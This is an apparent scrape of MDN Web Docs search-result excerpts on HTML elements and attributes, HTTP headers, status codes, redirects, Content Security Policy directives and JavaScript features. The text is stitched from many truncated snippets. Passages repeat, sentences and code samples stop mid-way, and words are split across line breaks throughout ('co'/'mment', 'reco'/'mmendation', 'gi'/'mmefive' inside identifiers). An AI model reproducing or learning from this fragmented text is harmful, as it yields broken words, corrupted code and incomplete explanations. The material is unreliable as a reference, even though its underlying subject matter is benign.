the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content zero or more <tr> elements. tag omission the start tag is mandatory. the end tag may be omitted if there is no more content in the parent <table> element. permitted parents a <table> element. the <tfoot> must appear after any <caption>, <colgroup>, <thead>, <tbody>, or <tr> element. note that this is the requirement as of html5. ...
...e, which will center the text in the cell; and top, which will put the text as close to the top of the cell as it is possible. ...
...rted) in the latest standard: instead set the css vertical-align property on it. examples please see the <table> page for examples on <tfoot>. ...
<thead>: The Table Head element - HTML: Hypertext Markup Language
ive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content zero or more <tr> elements. tag omission the start tag is mandatory. the end tag may be omitted if the <thead> element is i
mmediately followed by a <tbody> or <tfoot> element. permitted parents a <table> element. the <thead> must appear after any <caption> or <colgroup> element, even implicitly defined, but before any <tbody>, <tfoot> and <tr> element. implicit aria role rowgroup permitted aria roles any dom interface htmltablesectionelement attributes this element...
...is possible; middle, which will center the text in the cell; top, which will put the text as close to the top of the cell as it is possible. ...
...e (and not supported) in the latest standard: instead set the css vertical-align property on it. examples see <table> for examples on <thead>. ...
<wbr> - HTML: Hypertext Markup Language
ys, when not broken on two lines, 123,456 and not 456,123. for the same reason, the <wbr> element does not introduce a hyphen at the line break point. to make a hyphen appear only at the end of a line, use the soft hyphen character entity (­) instead. this element was first implemented in internet explorer 5.5 and was officially defined in html5. example the yahoo style guide reco
mmends breaking a url before punctuation, to avoid leaving a punctuation mark at the end of the line, which the reader might mistake for the end of the url. <p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/with<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/p...
...ion mark at the end of the line, which the reader might mistake for the end of the url. ...
...br>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> specifications specification status co
mment html living standardthe definition of '<wbr>' in that specification. living standard html5the definition of '<wbr>' in that specification. reco
mmendation ...
class - HTML: Hypertext Markup Language
b developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element. for example, attribute to describe an attribute rather than italics, although an element of this class may be presented by italics. semantic names remain logical even if the presentation of the page changes. ...
...ement of this class may be presented by italics. semantic names remain logical even if the presentation of the page changes. specifications specification status co
mment html living standardthe definition of 'class' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'class' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'class' in that specification. reco
mmendation snapshot of html living standard. ...
...1the definition of 'class' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'class' in that specification. reco
mmendation snapshot of html living standard. from html 4.01 specification, class is now a true global attribute. html 4.01 specificationthe definition of 'class' in that specification. reco
mmendation supported on all elements but <base>, <basefont>, <head>, <html>, <meta>, <param>, <script>, <style>, and <title>. ...
draggable - HTML: Hypertext Markup Language
en. the correct usage is <img draggable="false">. if this attribute is not set, its default value is auto, which means drag behavior is the default browser behavior: only text selections, images, and links can be dragged. for other elements, the event ondragstart must be set for drag and drop to work, as shown in this comprehensive example. ...
...r elements, the event ondragstart must be set for drag and drop to work, as shown in this comprehensive example. specifications specification status co
mment html living standardthe definition of 'draggable' in that specification. living standard no change from latest snapshot, html 5.1 html 5.2the definition of 'draggable' in that specification. ...
...ve example. specifications specification status co
mment html living standardthe definition of 'draggable' in that specification. living standard no change from latest snapshot, html 5.1 html 5.2the definition of 'draggable' in that specification. reco
mmendation no change html 5.1the definition of 'draggable' in that specification. ...
id - HTML: Hypertext Markup Language
he class attribute, which allows space-separated values, elements can only have one single id value. note: using characters except ascii letters, digits, '_', '-' and '.' may cause compatibility problems, as they weren't allowed in html 4. though this restriction has been lifted in html5, an id should start with a letter for compatibility. ...
... weren't allowed in html 4. though this restriction has been lifted in html5, an id should start with a letter for compatibility. specifications specification status co
mment html living standardthe definition of 'id' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'id' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'id' in that specification. ...
...ifications specification status co
mment html living standardthe definition of 'id' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'id' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'id' in that specification. reco
mmendation snapshot of html living standard, now accept '_', '-' and '.' if not at the beginning of the id. it is also a true global attribute. html 4.01 specificationthe definition of 'id' in that specification. reco
mmendation supported on all elements but <base>, <head>, <html>, <meta>, <script>, <style>, and <title>. ...
tabindex - HTML: Hypertext Markup Language
active components authored using non-interactive elements are not be listed in the accessibility tree. this prevents assistive technology from being able to navigate to and manipulate those components. the content should be semantically described using interactive elements (<a>, <button>, <details>, <input>, <select>, <textarea>, etc.) instead. these elements have built-in roles and states that co
mmunicate status to the accessibility that would otherwise have to be managed by aria. using the tabindex attribute | the paciello group specifications specification status co
mment html living standardthe definition of 'tabindex' in that specification. living standard no change from latest snapshot, html 5.1. html 5.1the definition of 'tabindex' in th...
...essibility that would otherwise have to be managed by aria. using the tabindex attribute | the paciello group specifications specification status co
mment html living standardthe definition of 'tabindex' in that specification. living standard no change from latest snapshot, html 5.1. html 5.1the definition of 'tabindex' in that specification. reco
mmendation snapshot of html living standard, no change from html5. html5the definition of 'tabindex' in that specification. reco
mmendation snapshot of html living standard. ...
...ecification. reco
mmendation snapshot of html living standard, no change from html5. html5the definition of 'tabindex' in that specification. reco
mmendation snapshot of html living standard. from html 4.01 specification, the attribute is now supported on all elements (global attributes). html 4.01 specificationthe definition of 'tabindex' in that specification. reco
mmendation only supported on <a>, <area>, <button>, <input>, <object>, <select>, and <textarea>. ...
Compression in HTTP - HTTP
for both loss-less or lossy compression, like webp, and usually lossy algorithm can be configured to compress more or less, which then of course leads to less or more quality. for better performance of a web site, it is ideal to compress as much as possible, while keeping an acceptable level of quality. for images, an image generated by a tool could be not optimized enough for the web; it is reco
mmended to use tools that will compress as much as possible with the required quality. there are numerous tools that are specialized for this. lossy compression algorithms are usually more efficient than loss-less ones. as compression works better on a specific kind of files, it usually provides nothing to compress them a second time. in fact, this is often counter productive as the cost of the o...
...nodes are, they leave the body untouched. all modern browsers and servers do support it and the only thing to negotiate is the compression algorithm to use. these algorithm are optimized for text. in the 1990s, compression technology was advancing at a rapid pace and numerous successive algorithms have been added to the set of possible choices. nowadays, only two are relevant: gzip, the most co
mmon one, and br the new challenger. to select the algorithm to use, browsers and servers use proactive content negotiation. the browser sends an accept-encoding header with the algorithm it supports and its order of precedence, the server picks one, uses it to compress the body of the response and uses the content-encoding header to tell the browser the algorithm it has chosen. as content negotiat...
...ll the browser the algorithm it has chosen. as content negotiation has been used to choose a representation based on its encoding, the server must send a vary header containing at least accept-encoding alongside this header in the response; that way, caches will be able to cache the different representations of the resource. as compression brings significant performance improvements, it is reco
mmended to activate it for all files, but already compressed ones like images, audio files and videos. apache supports compression and uses mod_deflate; for nginx there is ngx_http_gzip_module; for iis, the <httpcompression> element. hop-by-hop compression hop-by-hop compression, though similar to end-to-end compression, differs by one fundamental element: the compression doesn't happen on the re...
Connection management in HTTP/1.x - HTTP
istent by default. setting connection to anything other than close, usually retry-after, will make them persistent. in http/1.1, persistence is the default, and the header is no longer needed (but it is often added as a defensive measure against cases requiring a fallback to http/1.0). http pipelining http pipelining is not activated by default in modern browsers: buggy proxies are still co
mmon and these lead to strange and erratic behaviors that web developers cannot foresee and diagnose easily. pipelining is complex to implement correctly: the size of the resource being transferred, the effective rtt that will be used, as well as the effective bandwidth, have a direct incidence on the improvement provided by the pipeline. without knowing these, important messages may be delayed beh...
... only idempotent methods, that is get, head, put and delete, can be replayed safely: should a failure happen, the pipeline content can simply be repeated. today, every http/1.1-compliant proxy and server should support pipelining, though many have limitations in practice: a significant reason no modern browser activates this feature by default. domain sharding unless you have a very specific i
mmediate need, don't use this deprecated technique; switch to http/2 instead. in http/2, domain sharding is no longer useful: the http/2 connection is able to handle parallel unprioritized requests very well. domain sharding is even detrimental to performance. most http/2 implementations use a technique called connection coalescing to revert eventual domain sharding. as an http/1.x connection is s...
...ntations use a technique called connection coalescing to revert eventual domain sharding. as an http/1.x connection is serializing requests, even without any ordering, it can't be optimal without large enough available bandwidth. as a solution, browsers open several connections to each domain, sending parallel requests. default was once 2 to 3 connections, but this has now increased to a more co
mmon use of 6 parallel connections. there is a risk of triggering dos protection on the server side if attempting more than this number. if the server wishes a faster web site or application response, it is possible for the server to force the opening of more connections. for example, instead of having all resources on the same domain, say www.example.com, it could split over several domains, www1.
CSP: connect-src - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
... ...
...urce("https://not-example.com/"); navigator.sendbeacon("https://not-example.com/", { ... }); </script> specifications specification status co
mment content security policy level 3the definition of 'connect-src' in that specification. working draft no changes. content security policy level 2the definition of 'connect-src' in that specification. reco
mmendation initial definition. ...
CSP: default-src - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
... ...
...tyle-src 'self'; worker-src 'self' specifications specification status co
mment content security policy level 3the definition of 'default-src' in that specification. working draft added frame-src, manifest-src and worker-src as defaults. content security policy level 2the definition of 'default-src' in that specification. reco
mmendation initial definition. ...
CSP: form-action - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
... ...
... send form data because it violates the following // content security policy directive: "form-action 'none'". specifications specification status co
mment content security policy level 3the definition of 'form-action' in that specification. working draft no changes. content security policy level 2the definition of 'form-action' in that specification. reco
mmendation initial definition. ...
CSP: media-src - HTTP
to access port 443 on mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
... ...
...="https://not-example.com/video"> <track kind="subtitles" src="https://not-example.com/subtitles"> </video> specifications specification status co
mment content security policy level 3the definition of 'media-src' in that specification. working draft no changes. content security policy level 2the definition of 'media-src' in that specification. reco
mmendation initial definition. ...
CSP: script-src - HTTP
mail.example.com. https://store.example.com: matches all attempts to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not reco
mmended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' ...
...rce expression controls several script execution methods that create code from strings. if 'unsafe-eval' isn't specified with the script-src directive, the following methods are blocked and won't have any effect: eval() function() when passing a string literal like to methods like: window.settimeout("alert(\"hello world!\");", 500); window.settimeout window.setinterval window.seti
mmediate window.execscript (ie < 11 only) strict-dynamic the 'strict-dynamic' source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. at the same time, any whitelist or source expressions such as 'self' or 'unsafe-inline' will be ignored. for...
...ic in a backwards compatible way, without requiring user-agent sniffing. the policy: script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' will act like 'unsafe-inline' https: in browsers that support csp1, https: 'nonce-abcdefg' in browsers that support csp2, and 'nonce-abcdefg' 'strict-dynamic' in browsers that support csp3. specifications specification status co
mment content security policy level 3the definition of 'script-src' in that specification. working draft no changes. content security policy level 2the definition of 'script-src' in that specification. reco
mmendation initial definition. ...
CSP: upgrade-insecure-requests - HTTP
o treat all of a site's insecure urls (those served over http) as though they have been replaced with secure urls (those served over https). this directive is intended for web sites with large numbers of insecure legacy urls that need to be rewritten. the upgrade-insecure-requests directive is evaluated before block-all-mixed-content and if it is set, the latter is effectively a no-op. it is reco
mmended to set either directive, but not both, unless you want to force https on older browsers that do not force it after a redirect to http. the upgrade-insecure-requests directive will not ensure that users visiting your site via links on third-party sites will be upgraded to https for the top-level navigation and thus does not replace the strict-transport-security (hsts) header, which should st...
... ...
... ...
Content-Security-Policy - HTTP
ies valid sources for loading media using the <audio> , <video> and <track> elements. object-src specifies valid sources for the <object>, <embed>, and <applet> elements. elements controlled by object-src are perhaps coincidentally considered legacy html elements and are not receiving new standardized features (such as the security attributes sandbox or allow for <iframe>). therefore it is reco
mmended to restrict this fetch-directive (e.g., explicitly set object-src 'none' if possible). prefetch-src specifies valid sources to be prefetched or prerendered. script-src specifies valid sources for javascript. script-src-elem specifies valid sources for javascript <script> elements. script-src-attr specifies valid sources for javascript inline event handlers. style-src specifie...
...urity-policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none' example: do not implement the above policy yet; instead just report violations that would have occurred: content-security-policy-report-only: default-src https:; report-uri /csp-violation-report-endpoint/ see mozilla web security guidelines for more examples. specifications specification status co
mment content security policy level 3 working draft adds manifest-src, navigate-to, report-to, strict-dynamic, worker-src. undeprecates frame-src. deprecates report-uri in favor if report-to. mixed content candidate reco
mmendation adds block-all-mixed-content. subresource integrity reco
mmendation adds require-sri-for. upgrade insecure request...
...ntent security policy level 3 working draft adds manifest-src, navigate-to, report-to, strict-dynamic, worker-src. undeprecates frame-src. deprecates report-uri in favor if report-to. mixed content candidate reco
mmendation adds block-all-mixed-content. subresource integrity reco
mmendation adds require-sri-for. upgrade insecure requests candidate reco
mmendation adds upgrade-insecure-requests. content security policy level 2 reco
mmendation adds base-uri, child-src, form-action, frame-ancestors, plugin-types, referrer, and report-uri. deprecates frame-src. content security policy 1.0 obsolete defines connect-src, default-src, font-src, frame-src, img-src, media-src, object-src, report-uri, sandbox, script-src, and ...
Index - HTTP
an http header consists of its case-insensitive name followed by a colon ':', then by its value (without line breaks). leading white space before the value is ignored. 2 accept http, http header, reference, request header the accept request http header advertises which content types, expressed as mime types, the client is able to understand. ...
...t and informs the client of its choice with the content-encoding response header. 5 accept-language content negotiation, http, http header, reference, request header the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred. (by languages, we mean natural languages, such as english, and not progra
mming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header. browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is frowned upon as it leads to fingerprinting). 6 accept-ranges ...
...nse headers. that is, this is header is sent from server to client to inform that server is willing to initiate a websocket connection. 98 server http, reference, header the server header contains information about the software used by the origin server to handle the request. 99 server-timing http, performance, reference, header the server-timing header co
mmunicates one or more metrics and descriptions for a given request-response cycle. it is used to surface any backend server timing metrics (e.g. database read/write, cpu time, file system access, etc.) in the developer tools in the user's browser or in the performanceservertiming interface. 100 set-cookie cookies, http, reference, response, header the set-cookie http response h...
Set-Cookie2 - HTTP
the obsolete set-cookie2 http response header used to send cookies from the server to the user agent, but has been deprecated by the specification. use set-cookie instead. ...
...e set-cookie2 http response header used to send cookies from the server to the user agent, but has been deprecated by the specification. use set-cookie instead. ...
... specifications specification title rfc 2965: set-cookie2 historic specification of http state management mechanism, obsoleted by rfc 6265 ...
HTTP request methods - HTTP
a request method can be safe, idempotent, or cacheable. get the get method requests a representation of the specified resource. requests using get should only retrieve data. ...
...esource, often causing a change in state or side effects on the server. put the put method replaces all current representations of the target resource with the request payload. delete the delete method deletes the specified resource. connect the connect method establishes a tunnel to the server identified by the target resource. ...
...hes a tunnel to the server identified by the target resource. options the options method is used to describe the co
mmunication options for the target resource. trace the trace method performs a message loop-back test along the path to the target resource. patch the patch method is used to apply partial modifications to a resource. specifications specification title co
mment rfc 7231, section 4: request methods hypertext transfer protocol (http/1.1): semantics and content specifies get, head, post, put, delete, connect, options, trace. rfc 5789, section 2: patch method patch method for http specifies patch. ...
Redirections in HTTP - HTTP
wntime permanent redirects to preserve existing links/bookmarks after changing the site's urls, progress pages when uploading a file, etc. principle in http, redirection is triggered by a server sending a special redirect response to a request. redirect responses have status codes that start with 3, and a location header holding the url to redirect to. when browsers receive a redirect, they i
mmediately load the new url provided in the location header. besides the small performance hit of an additional round-trip, users rarely notice the redirection. there are several types of redirects, sorted into three categories: permanent redirections temporary redirections special redirections permanent redirections these redirections are meant to last forever. they imply that the origin...
...al, which could cause an infinite loop or other nightmares. use cases there are numerous use cases for redirects, but as performance is impacted with every redirect, their use should be kept to a minimum. domain aliasing ideally, there is one location, and therefore one url, for each resource. but there are reasons for alternative names for a resource: expanding the reach of your site a co
mmon case is when a site resides at www.example.com, but accessing it from example.com should also work. redirections for example.com to www.example.com are thus set up. you might also redirect from co
mmon synonyms or frequent typos of your domains. moving to a new domain for example, your company was renamed, but you want existing links or bookmarks to still find you under the new name. forcing ...
...replaying the unsafe requests. temporary responses to long requests some requests may need more time on the server, like delete requests that are scheduled for later processing. in this case, the response is a 303 (see other) redirect that links to a page indicating that the action has been scheduled, and eventually informs about its progress, or allows to cancel it. configuring redirects in co
mmon servers apache redirects can be set either in the server config file or in the .htaccess of each directory. the mod_alias module has redirect and redirectmatch directives that set up 302 redirects by default: <virtualhost *:443> servername example.com redirect / https://www.example.com </virtualhost> the url https://example.com/ will be redirected to https://www.example.com/, as will an...
HTTP response status codes - HTTP
ibing the result of the action is transmitted in the message body. trace: the message body contains the request message as received by the server 201 created the request has succeeded and a new resource has been created as a result. this is typically the response sent after post requests, or some put requests. 202 accepted the request has been received but not yet acted upon. it is nonco
mmittal, since there is no way in http to later send an asynchronous response indicating the outcome of the request. it is intended for cases where another process or server handles the request, or for batch processing. 203 non-authoritative information this response code means the returned meta-information is not exactly the same as is available from the origin server, but is collected from a loc...
...quest for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance. redirection messages 300 multiple choice the request has more than one possible response. the user-agent or user should choose one of them. (there is no standardized way of choosing one of the responses, but html links to the possibilities are reco
mmended so the user can pick.) 301 moved permanently the url of the requested resource has been changed permanently. the new url is given in the response. 302 found this response code means that the uri of requested resource has been changed temporarily. further changes in the uri might be made in the future. therefore, this same uri should be used by the client in future requests. 303 see othe...
...pported by the server and cannot be handled. the only methods that servers are required to support (and therefore that must not return this code) are get and head. 502 bad gateway this error response means that the server, while working as a gateway to get a response needed to handle the request, got an invalid response. 503 service unavailable the server is not ready to handle the request. co
mmon causes are a server that is down for maintenance or that is overloaded. note that together with this response, a user-friendly page explaining the problem should be sent. this responses should be used for temporary conditions and the retry-after: http header should, if possible, contain the estimated time before the recovery of the service. the webmaster must also take care about the caching-re...
HTTP
http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. http is a stateless protocol, meaning that the server does not keep any data (state) between two requests. though often based on a tcp/ip layer, it can be used on any reliable transport layer, that is, a protocol that doesn't lose messages silently like udp does. ...
...or restricted to a specific domain and path. cross-origin resource sharing (cors) cross-site http requests are http requests for resources from a different domain than the domain of the resource making the request. for instance, an html page from domain a (http://domaina.example/) makes a request for an image on domain b (http://domainb.foo/image.jpg) via the img element. web pages today very co
mmonly load cross-site resources, including css stylesheets, images, scripts, and other resources. cors allows web developers to control how their site reacts to cross-site requests. evolution of http a brief description of the changes between the early versions of http, to the modern http/2, the emergent http/3 and beyond. mozilla web security guidelines a collection of tips to help operatio...
...sage headers are used to describe a resource, or the behavior of the server or the client. custom proprietary headers can be added using the x- prefix; others in an iana registry, whose original content was defined in rfc 4229. iana also maintains a registry of proposed new http message headers. http request methods the different operations that can be done with http: get, post, and also less co
mmon requests like options, delete, or trace. http status response codes http response codes indicate whether a specific http request has been successfully completed. responses are grouped in five classes: informational responses, successful responses, redirections, client errors, and servers errors. csp directives the content-security-policy response header fields allows web site administrat...
Concurrency model and the event loop - JavaScript
he queue. if there is no other message in the queue, and the stack is empty, the message is processed right after the delay. however, if there are messages, the settimeout message will have to wait for other messages to be processed. for this reason, the second argument indicates a minimum time—not a guaranteed time. here is an example that demonstrates this concept (settimeout does not run i
mmediately after its timer expires): const s = new date().getseconds(); settimeout(function() { // prints out "2", meaning that the callback is not called i
mmediately after 500 milliseconds. console.log("ran after " + (new date().getseconds() - s) + " seconds"); }, 500) while (true) { if (new date().getseconds() - s >= 2) { console.log("good, looped for 2 seconds") break; } } ze...
...this method adds a message to the other runtime if the latter listens to message events. never blocking a very interesting property of the event loop model is that javascript, unlike a lot of other la...
...s a msg from call back'); }, 0); console.log('this is the end'); })(); // "this is the start" // "this is just a message" // "this is the end" // "callback 1: this is a msg from call back" // "callback 2: this is a msg from call back" several runtimes co
mmunicating together a web worker or a cross-origin iframe has its own stack, heap, and message queue. two distinct runtimes can only co
mmunicate through sending messages via the postmessage method. this method adds a message to the other runtime if the latter listens to message events. never blocking a very interesting property of the event loop model is that javascript, unlike a lot of other languages, never blocks. handling i/o is typically performed via events and callbacks, so when the application is waiting for an indexeddb ...
JavaScript Guide - JavaScript
the javascript guide shows you how to use javascript and gives an overview of the language. if you need exhaustive information about a language feature, have a look at the javascript reference. ...
...ascript guide shows you how to use javascript and gives an overview of the language. if you need exhaustive information about a language feature, have a look at the javascript reference. ...
...kmap set weakset working with objects objects and properties creating objects defining methods getter and setter details of the object model prototype-based oop creating object hierarchies inheritance promises guarantees chaining error propagation composition timing iterators and generators iterators iterables generators meta progra
mming proxy handlers and traps revocable proxy reflect javascript modules exporting importing default exports renaming features aggregating modules dynamic module loading next » ...
Function.prototype.bind() - JavaScript
here may well be others, as this list does not seriously attempt to be exhaustive) between this algorithm and the specified algorithm are: the partial implementation relies on array.prototype.slice(), array.prototype.concat(), function.prototype.call() and function.prototype.apply(), built-in methods to have their original values. the partial implementation creates functions that do not have i
mmutable "poison pill" caller and arguments properties that throw a typeerror upon get, set, or deletion. (this could be added if the implementation supports object.defineproperty, or partially implemented [without throw-on-delete behavior] if the implementation supports the __definegetter__ and __definesetter__ extensions.) the partial implementation creates functions that have a prototype propert...
...o not worry about these noncompliant deviation details. if it's absolutely necessary and performance is not a concern, a far slower (but more specification-compliant solution) can be found at https://github.com/raynos/function-bind. examples creating a bound function the simplest use of bind() is to make a function that, no matter how it is called, is called with a particular this value. a co
mmon mistake for new javascript progra
mmers is to extract a method from an object, then to later call that function and expect it to use the original object as its this (e.g., by using the method in callback-based code). without special care, however, the original object is usually lost. creating a bound function from the function, using the original object, neatly solves this problem: this.x = 9;...
... these arguments (if any) follow the provided this value and are then inserted at the start of the arguments passed to the target func...
Object.prototype.__defineGetter__() - JavaScript
tax obj.__definegetter__(prop, func) parameters prop a string containing the name of the property to bind to the given function. func a function to be bound to a lookup of the specified property. return value undefined. description the __definegetter__ allows a getter to be defined on a pre-existing object. ...
...prop a string containing the name of the property to bind to the given function. func a function to be bound to a lookup of the specified property. return value undefined. description the __definegetter__ allows a getter to be defined on a pre-existing object. ...
...unc a function to be bound to a lookup of the specified property. return value undefined. description the __definegetter__ allows a getter to be defined on a pre-existing object. examples non-standard and deprecated way var o = {}; o.__definegetter__('gi
mmefive', function() { return 5; }); console.log(o.gi
mmefive); // 5 standard-compliant ways // using the get operator var o = { get gi
mmefive() { return 5; } }; console.log(o.gi
mmefive); // 5 // using object.defineproperty var o = {}; object.defineproperty(o, 'gi
mmefive', { get: function() { return 5; } }); console.log(o.gi
mmefive); // 5 specifications specification ecmascript (ecma-262)the definition of 'object.prototype.__definegetter__()' in that specification. ...
Object.create() - JavaScript
oto parameter has to be either null or an object excluding primitive wrapper objects. if proto is neither of these a typeerror is thrown. custom and null objects a new object created from a completely custom object (especially one created from the null object, which is basically a custom object with no members) can behave in unexpected ways. this is especially true when debugging, since co
mmon object-property converting/detecting utility functions may generate errors, or simply lose information (especially if using silent error-traps that ignore errors). for example, here are two objects: oco = object.create( {} ); // create a normal object ocn = object.create( null ); // create a "null" object > console.log(oco) // {} -- seems normal > console.log(ocn) // {} -- seems normal here...
...cn.valueof() // throws error: ocn.valueof is not a function > oco.hasownproperty("p") // shows "true" > ocn.hasownproperty("p") // throws error: ocn.hasownproperty is not a function > oco.constructor // shows "object() { [native code] }" > ocn.constructor // shows "undefined" as said, these differences can make debugging even simple-seeming problems quickly go astray. ...
...gain, the actual iteration order is not guaranteed no matter what the order members are added. be aware of, also, that using object.entries() on an object created via object.create() will result in an empty array being returned. var obj = object.create({ a: 1, b: 2 }); > console.log(object.entries(obj)); // shows "[]" some non-solutions a good solution for the missing object-methods is not i
mmediately apparent. adding the missing object-method directly from the standard-object does not work: ocn = object.create( null ); // create "null" object (same as before) ocn.tostring = object.tostring; // since new object lacks method then try assigning it directly from standard-object > ocn.tostring // shows "tostring() { [native code] }" -- missing method seems to be there now > ocn.tostrin...
Set - JavaScript
lse } } return true } function union(seta, setb) { let _union = new set(seta) for (let elem of setb) { _union.add(elem) } return _union } function intersection(seta, setb) { let _intersection = new set() for (let elem of setb) { if (seta.has(elem)) { _intersection.add(elem) } } return _intersection } function sy
mmetricdifference(seta, setb) { let _difference = new set(seta) for (let elem of setb) { if (_difference.has(elem)) { _difference.delete(elem) } else { _difference.add(elem) } } return _difference } function difference(seta, setb) { let _difference = new set(seta) for (let elem of setb) { _difference.delete(elem) } ...
...console.log([...myset]...
... ...
TypedArray - JavaScript
a typedarray object describes an array-like view of an underlying binary data buffer. there is no global property named typedarray, nor is there a directly visible typedarray constructor. instead, there are a number of different global properties, whose values are typed array constructors for specific element types, listed below. on the following pages you will find co
mmon properties and methods that can be used with any typed array containing elements of any type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description ecmascript 2015 defines a typedarray constructor that serves as the [[prototype]] of a...
...active-examples and send us a pull request. description ecmascript 2015 defines a typedarray constructor that serves as the [[prototype]] of all typedarray constructors. this constructor is not directly exposed: there is no global %typedarray% or typedarray property. it is only directly accessible through object.getprototypeof(int8array) and similar. all typedarrays constructors inherit co
mmon properties from the %typedarray% constructor function. additionally, all typed array prototypes (typedarray.prototype) have %typedarray%.prototype as their [[prototype]]. the %typedarray% constructor on its own is not particularly useful. calling it or using it in a new expression will throw a typeerror, except when used during object creation in js engines that support subclassing. there a...
...1 8 64-bit two's complement signed integer bigint int64_t (signed long long) biguint64array 0 to 264-1 8 64-bit unsigned integer bigint uint64_t (unsigned long long) constructor this object cannot be instantiated directly. instead, you create an instance of an array of a particular type, such as a int8array or a bigint64array. these objects all have a co
mmon syntax for their constructors: new typedarray(); new typedarray(length); new typedarray(typedarray); new typedarray(object); new typedarray(buffer [, byteoffset [, length]]); where typedarray is a constructor for one of the concrete types. parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element b...
Function expression - JavaScript
the body of the function. description a function expression is very similar to and has almost the same syntax as a function declaration (see function statement for details). the main difference between a function expression and a function declaration is the function name, which can be omitted in function expressions to create anonymous functions. a function expression can be used as an iife (i
mmediately invoked function expression) which runs as soon as it is defined. see also the chapter about functions for more information. function expression hoisting function expressions in javascript are not hoisted, unlike function declarations. you can't use function expressions before you create them: console.log(nothoisted) // undefined // even though the variable name is hoisted, the defini...
...e // "baz" console.log(foo === foo2); // true console.log(typeof baz); // undefined console.log(bar === baz); // false (errors because baz == undefined) examples creating an unnamed function the following example defines an unnamed function and assigns it to x. ...
...z == undefined) examples creating an unnamed function the following example defines an unnamed function and assigns it to x. the function returns the square of its argument: var x = function(y) { return y * y; }; using a function as a callback more co
mmonly it is used as a callback: button.addeventlistener('click', function(event) { console.log('button is clicked!') }) using an i
mmediately executed function expression an anonymous function is created and called: (function() { console.log('code runs!') })(); specifications specification ecmascript (ecma-262)the definition of 'function definitions' in that specification. ...
const - JavaScript
he block in which it is declared. global constants do not become properties of the window object, unlike var variables. an initializer for a constant is required. you must specify its value in the same statement in which it's declared. (this makes sense, given that it can't be changed later.) the const declaration creates a read-only reference to a value. it does not mean the value it holds is i
mmutable—just that the variable identifier cannot be reassigned. for instance, in the case where the content is an object, this means the object's contents (e.g., its properties) can be altered. all the considerations about the "temporal dead zone" apply to both let and const. a constant cannot share its name with a function or a variable in the same scope. examples basic const usage constant...
